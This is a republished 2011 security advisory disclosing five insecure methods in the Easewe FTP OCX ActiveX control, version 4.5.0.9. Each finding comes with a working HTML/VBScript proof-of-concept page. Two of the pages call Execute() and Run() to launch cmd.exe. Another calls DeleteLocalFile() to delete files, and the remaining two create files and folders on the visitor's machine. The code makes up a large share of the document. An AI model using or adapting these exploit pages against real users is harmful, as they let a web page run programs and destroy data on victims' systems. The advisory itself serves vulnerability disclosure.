HTB23015: Easewe FTP ActiveX Control Multiple Insecure Methods

2011-06-23T00:00:00
ID SECURITYVULNS:DOC:26580
Type securityvulns
Reporter Securityvulns
Modified 2011-06-23T00:00:00

Description

Vulnerability ID: HTB23015 Reference: http://www.htbridge.ch/advisory/easewe_ftp_ocx_activex_control_execute_insecure_method.html Product: Easewe FTP OCX ActiveX Control Vendor: Easewe Software ( http://www.ftpocx.com ) Vulnerable Version: 4.5.0.9 and probably prior Tested on: 4.5.0.9 Vendor Notification: 01 June 2011 Vulnerability Type: ActiveX Control Insecure Method Risk level: High Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )

Vulnerability Details: High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Easewe FTP OCX ActiveX Control, which can be exploited to potentially compromise a user's system.

1) The vulnerability is caused due to the EaseWeFtp.FtpLibrary ActiveX control (EaseWeFtp.ocx) including the insecure "Execute()" method. This can be exploited to execute arbitrary local files via specially crafted parameters passed to the affected method.

The following PoC code is available:

<html> <object classid='clsid:31AE647D-11D1-4E6A-BE2D-90157640019A' id='target' /></object> <input language=VBScript onclick=Boom() type=button value="Exploit"> <script language = 'vbscript'> Sub Boom() arg1="c:\windows\system32\cmd.exe" arg2="" arg3=1 target.Execute arg1 ,arg2 ,arg3 End Sub </script> </html>

2) The vulnerability is caused due to the EaseWeFtp.FtpLibrary ActiveX control (EaseWeFtp.ocx) including the insecure "Run()" method. This can be exploited to execute arbitrary local files via specially crafted parameters passed to the affected method.

The following PoC code is available:

<html> <object classid='clsid:31AE647D-11D1-4E6A-BE2D-90157640019A' id='target' /></object> <input language=VBScript onclick=Boom() type=button value="Exploit"> <script language = 'vbscript'> Sub Boom() arg1="c:\windows\system32\cmd.exe" arg2="" arg3=1 target.Run arg1 ,arg2 ,arg3 End Sub </script> </html>

3) The vulnerability is caused due to the EaseWeFtp.FtpLibrary ActiveX control (EaseWeFtp.ocx) including the insecure "CreateLocalFile()" method. This can be exploited to create empty files in the context of the current user.

The following PoC code is available:

<html> <object classid='clsid:31AE647D-11D1-4E6A-BE2D-90157640019A' id='target' /></object> <input language=VBScript onclick=Boom() type=button value="Exploit"> <script language = 'vbscript'>

Sub Boom() arg1="FilePath\Filename_to_create" target.CreateLocalFile arg1 End Sub

</script> </html>

4) The vulnerability is caused due to the EaseWeFtp.FtpLibrary ActiveX control (EaseWeFtp.ocx) including the insecure "CreateLocalFolder()" method. This can be exploited to create arbitrary folders in the context of the current user.

The following PoC code is available:

<html> <object classid='clsid:31AE647D-11D1-4E6A-BE2D-90157640019A' id='target' /></object> <input language=VBScript onclick=Boom() type=button value="Exploit"> <script language = 'vbscript'>

Sub Boom() arg1="Directorypath\Directory" target.CreateLocalFolder arg1 End Sub

</script> </html>

5) The vulnerability is caused due to the EaseWeFtp.FtpLibrary ActiveX control (EaseWeFtp.ocx) including the insecure "DeleteLocalFile()" method. This can be exploited delete files in the context of the current user.

The following PoC code is available:

<html> <object classid='clsid:31AE647D-11D1-4E6A-BE2D-90157640019A' id='target' /></object> <input language=VBScript onclick=Boom() type=button value="Exploit"> <script language = 'vbscript'>

Sub Boom() arg1="FilePath\Filename_to_delete" target.DeleteLocalFile arg1 End Sub </script> </html>